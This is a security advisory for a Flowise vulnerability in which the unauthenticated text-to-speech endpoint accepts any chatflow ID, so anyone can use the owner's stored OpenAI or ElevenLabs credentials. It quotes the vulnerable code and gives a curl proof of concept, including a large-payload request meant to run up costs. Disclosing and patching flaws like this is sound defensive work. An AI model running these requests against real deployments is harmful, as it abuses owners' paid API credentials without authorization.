A AegiFlow
MEDIUMCVSS 6.3

GHSA-8gj2-2cvc-6xx7

Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials

Published
2026-08-04
Modified
2026-08-04
Sources
github-advisory

Summary

## Summary The `/api/v1/text-to-speech/generate` endpoint is whitelisted (requires no authentication) and accepts any `chatflowId` without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account. ## Details The TTS `generateTextToSpeech` controller at `packages/server/src/controllers/text-to-speech/index.ts:10-171` is whitelisted at `packages/server/src/utils/constants.ts:41`: ```typescript '/api/v1/text-to-speech/generate', ``` When a `chatflowId` is provided and the user is not authenticated (no `req.user`), the controller falls back to fetching the chatflow without workspace scoping: ```typescript // packages/server/src/controllers/text-to-speech/index.ts:36-42 if (workspaceId) { chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId) } else { // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set chatflow = await chatflowsService.getChatflowById(chatflowId) // NO isPublic check workspaceId = chatflow.workspaceId } ``` The `getChatflowById` function at `packages/server/src/services/chatflows/index.ts:247-272` fetches any chatflow by ID when `workspaceId` is not provided: ```typescript const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({ where: { id: chatflowId, ...(workspaceId ? { workspaceId } : {}) // No workspace filter when workspaceId is undefined } }) ``` The controller then extracts the TTS provider configuration from the chatflow: ```typescript // packages/server/src/controllers/text-to-speech/index.ts:51-66 const ttsConfig = JSON.parse(chatflow.textToSpeech) const activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true) const providerConfig = ttsConfig[activeProviderKey] provider = activeProviderKey credentialId = providerConfig.credentialId // Extracted from private chatflow ``` This `credentialId` is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at `packages/components/src/textToSpeech.ts:33-34`: ```typescript const credentialId = textToSpeechConfig.credentialId as string const credentialData = await getCredentialData(credentialId ?? '', options) ``` ## PoC ```bash # Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private) CHATFLOW_ID=" " # Step 2: Abuse the TTS credential to generate audio without authentication curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOW_ID}'", "chatId": "attacker-chat-1", "chatMessageId": "msg-1", "text": "This is a test of unauthorized TTS generation using someone elses API key" }' # Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials # event: tts_start # data: {"event":"tts_start","data":{"chatMessageId":"msg-1","format":"mp3"}} # event: tts_data # data: {"event":"tts_data","data":{"chatMessageId":"msg-1","audioChunk":" "}} # Step 3: Repeat with large text to incur costs curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOW_ID}'", "chatId": "attacker-chat-2", "chatMessageId": "msg-2", "text": "'$(python3 -c "print('A' * 4096)")'" }' ``` ## Impact - **Financial Impact**: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio. - **Credential Abuse**: The attacker effectively gains indirect access to the stored API credenti

Affected packages

EcosystemPackageAffected versionsFixed versions
npmflowise3.1.4

Remediation: Upgrade to 3.1.4 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.